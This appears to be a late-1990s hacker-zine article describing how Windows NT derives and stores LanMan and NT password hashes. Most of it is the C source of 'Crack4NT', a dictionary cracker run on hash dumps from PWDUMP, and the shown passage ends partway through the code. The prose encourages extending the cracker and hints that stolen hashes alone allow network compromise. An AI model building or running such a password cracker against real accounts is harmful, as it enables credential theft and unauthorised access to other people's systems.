Cracking NT Passwords

by Nihil

Recently a breakthrough was made by one of the Samba team members, Jeremy

Allison, that allows an administrator to dump the one-way functions (OWF)

of the passwords for each user from the Security Account Manager (SAM)

database, which is similar to a shadowed password file in *nix terms. The

program Jeremy wrote is called PWDUMP, and the source can be obtained from

the Samba team's FTP server. This is very useful for administrators of

Samba servers, for it allows them to easily replicate the user database

from Windows NT machines on Samba servers. It also helps system

administrators and crackers in another way: dictionary attacks against

user's passwords. There is more, but I will save that for later.

Windows NT stores two hashes of a user's password in general: the LanMan

compatible OWF and the NT compatible OWF. The LanMan OWF is generated by

limiting the user's password to 14 characters (padding with NULLs if it is

shorter), converting all alpha characters to uppercase, breaking the 14

characters (single byte OEM character set) into two 7 byte blocks,

expanding each 7 byte block into an 8 byte DES key with parity, and

encrypting a known string, {0xAA,0xD3,0xB4,0x35,0xB5,0x14,0x4,0xEE}, with

each of the two keys and concatenating the results. The NT OWF is created

by taking up to 128 characters of the user's password, converting it to

unicode (a two byte character set used heavily in NT), and taking the MD4

hash of the string. In practice the NT password is limited to 14

characters by the GUI, though it can be set programmatically to something

greater in length.

The demonstration code presented in this article does dictionary attacks

against the NT OWF in an attempt to recover the NT password, for this is

what one needs to actually logon to the console. It should be noted that

it is much easier to brute force the LanMan password, but it is only used

in network authentication. If you have the skillz, cracking the LanMan

password can take you a long way towards cracking the NT password more

efficently, but that is left as an exercise for the reader ;>

For those readers wit da network programming skillz, the hashes themselves

are enough to comprimise a NT machine from the network. This is so because

the authentication protocol used in Windows NT relies on proof of the OWF

of the password, not the password itself. This is a whole other can of

worms we won't get into here.

The code itself is simple and pretty brain dead. Some Samba source was

used to speed up development time, and I would like to give thanks to the

Samba team for all their effort. Through the use of, and study of, Samba

several interesting security weaknesses in Windows NT have been uncovered.

This was not the intent of the Samba team, and really should be viewed as

what it is - some lame security implementations on Microsoft's part. Hey,

what do you expect from the people that brought you full featured (not in a

good way, mind you) macro languages in productivity applications?

You will need md4.c, md4.h, and byteorder.h from the Samba source

distribution inorder to compile the code here. It has been compiled and

tested using Visual C++ 4.2 on Windows NT 4.0, but I see no reason why it

should not compile and run on your favorite *nix platform. To truly be

useful, some code should be added to try permutations of the dictionary

entry and user name, but again, that is up to the reader.

One note: You will want to remove 3 lines from md4.c: the #ifdef SMB_PASSWD

at the top and corresponding #else and #endif at the bottom...

Here ya go:

<++> NTPWC/ntpwc.c

/*

* (C) Nihil 1997. All rights reserved. A Guild Production.

*

* This program is free for commercial and non-commercial use.

*

* Redistribution and use in source and binary forms, with or without

* modification, are permitted.

*

* THIS SOFTWARE IS PROVIDED BY NIHIL ``AS IS'' AND

* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE

* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE

* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE

* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL

* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS

* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)

* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT

* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY

* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF

* SUCH DAMAGE.

*

*/

/* Samba is covered by the GNU GENERAL PUBLIC LICENSE Version 2, June 1991 */

 

/* dictionary based NT password cracker. This is a temporary

* solution until I get some time to do something more

* intelligent. The input to this program is the output of

* Jeremy Allison's PWDUMP.EXE which reads the NT and LANMAN

* OWF passwords out of the NT registry and a crack style

* dictionary file. The output of PWDUMP looks

* a bit like UNIX passwd files with colon delimited fields.

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <ctype.h>

/* Samba headers we use */

#include "byteorder.h"

#include "md4.h"

#define TRUE 1

#define FALSE 0

#define HASHSIZE 16

/* though the NT password can be up to 128 characters in theory,

* the GUI limits the password to 14 characters. The only way

* to set it beyond that is programmatically, and then it won't

* work at the console! So, I am limiting it to the first 14

* characters, but you can change it to up to 128 by modifying

* MAX_PASSWORD_LENGTH

*/

#define MAX_PASSWORD_LENGTH 14

/* defines for Samba code */

#define uchar unsigned char

#define int16 unsigned short

#define uint16 unsigned short

#define uint32 unsigned int

/* the user's info we are trying to crack */

typedef struct _USER_INFO

{

char* username;

unsigned long ntpassword[4];

}USER_INFO, *PUSER_INFO;

/* our counted unicode string */

typedef struct _UNICODE_STRING

{

int16* buffer;

unsigned long length;

}UNICODE_STRING, *PUNICODE_STRING;

/* from Samba source cut & pasted here */

static int _my_mbstowcs(int16*, uchar*, int);

static int _my_wcslen(int16*);

/* forward declarations */

void Cleanup(void);

int ParsePWEntry(char*, PUSER_INFO);

/* global variable definition, only reason is so we can register an

* atexit() fuction to zero these for paranoid reasons

*/

char pPWEntry[258];

char pDictEntry[129]; /* a 128 char password? yeah, in my wet dreams */

MDstruct MDContext; /* MD4 context structure */

 

int main(int argc,char *argv[])

{

FILE *hToCrack, *hDictionary;

PUSER_INFO pUserInfo;

PUNICODE_STRING pUnicodeDictEntry;

int i;

unsigned int uiLength;

/* register exit cleanup function */

atexit(Cleanup);

/* must have both arguments */

if (argc != 3)

{

printf("\nUsage: %s <password file> <dictionary file>\n", argv[0]);

exit(0);

}

/* open password file */

hToCrack = fopen(argv[1], "r");

if (hToCrack == NULL)

{

fprintf(stderr,"Unable to open password file\n");

exit(-1);

}

/* open dictionary file */

hDictionary = fopen(argv[2], "r");

if (hDictionary == NULL)

{

fprintf(stderr,"Unable to open dictionary file\n");

exit(-1);

}

/* allocate space for our user info structure */

pUserInfo = (PUSER_INFO)malloc(sizeof (USER_INFO));

if (pUserInfo == NULL)

{

fprintf(stderr,"Unable to allocate memory for user info structure\n");

exit(-1);

}

/* allocate space for unicode version of the dictionary string */

pUnicodeDictEntry = (PUNICODE_STRING)malloc(sizeof (UNICODE_STRING));

if (pUnicodeDictEntry == NULL)

{

fprintf(stderr,"Unable to allocate memory for unicode conversion\n");

free(pUserInfo);

exit(-1);

}

/* output a banner so the user knows we are running */

printf("\nCrack4NT is running...\n");

/* as long as there are entries in the password file read

* them in and crack away */

while (fgets(pPWEntry, sizeof (pPWEntry), hToCrack))

{

/* parse out the fields and fill our user structure */

if (ParsePWEntry(pPWEntry, pUserInfo) == FALSE)

{

continue;

}

/* reset file pointer to the beginning of the dictionary file */

if (fseek(hDictionary, 0, SEEK_SET))

{

fprintf(stderr,"Unable to reset file pointer in dictionary\n");

memset(pUserInfo->ntpassword, 0, HASHSIZE);

free(pUserInfo);

free(pUnicodeDictEntry);

exit(-1);

}

/* do while we have new dictionary entries */

while (fgets(pDictEntry, sizeof (pDictEntry), hDictionary))

{

/* doh...fgets is grabbing the fucking newline, how stupid */

if (pDictEntry[(strlen(pDictEntry) - 1)] == '\n')

{

pDictEntry[(strlen(pDictEntry) - 1)] = '\0';

}

/* the following code is basically Jeremy Allison's code written

* for the Samba project to generate the NT OWF password. For

* those of you who have accused Samba of being a hacker's

* paradise, get a fucking clue. There are parts of NT security

* that are so lame that just seeing them implemented in code

* is enough to break right through them. That is all that

* Samba has done for the hacking community.

*/

/* Password cannot be longer than MAX_PASSWORD_LENGTH characters */

uiLength = strlen((char *)pDictEntry);

if(uiLength > MAX_PASSWORD_LENGTH)

uiLength = MAX_PASSWORD_LENGTH;

/* allocate space for unicode conversion */

pUnicodeDictEntry->length = (uiLength + 1) * sizeof(int16);

/* allocate space for it */

pUnicodeDictEntry->buffer = (int16*)malloc(pUnicodeDictEntry->length);

if (pUnicodeDictEntry->buffer == NULL)

{

fprintf(stderr,"Unable to allocate space for unicode string\n");

exit(-1);

}

/* Password must be converted to NT unicode */

_my_mbstowcs( pUnicodeDictEntry->buffer, pDictEntry, uiLength);

/* Ensure string is null terminated */

pUnicodeDictEntry->buffer[uiLength] = 0;

/* Calculate length in bytes */

uiLength = _my_wcslen(pUnicodeDictEntry->buffer) * sizeof(int16);

MDbegin(&MDContext);

for(i = 0; i + 64 <= (signed)uiLength; i += 64)

MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2), 512);

MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2),(uiLength-i)*8);

/* end of Samba code */

/* check if dictionary entry hashed to the same value as the user's

* NT password, if so print out user name and the corresponding

* password

*/

if (memcmp(MDContext.buffer, pUserInfo->ntpassword, HASHSIZE) == 0)

{

printf("Password for user %s is %s\n", pUserInfo->username, \

pDictEntry);

/* we are done with the password entry so free it */

free(pUnicodeDictEntry->buffer);

break;

}

/* we are done with the password entry so free it */

free(pUnicodeDictEntry->buffer);

}

}

/* cleanup a bunch */

free(pUserInfo->username);

memset(pUserInfo->ntpassword, 0, HASHSIZE);

free(pUserInfo);

free(pUnicodeDictEntry);

/* everything is great */

printf("Crack4NT is finished\n");

return 0;

}

void Cleanup()

{

memset(pPWEntry, 0, 258);

memset(pDictEntry, 0, 129);

memset(&MDContext.buffer, 0, HASHSIZE);

}

 

/* parse out user name and OWF */

int ParsePWEntry(char* pPWEntry, PUSER_INFO pUserInfo)

{

int HexToB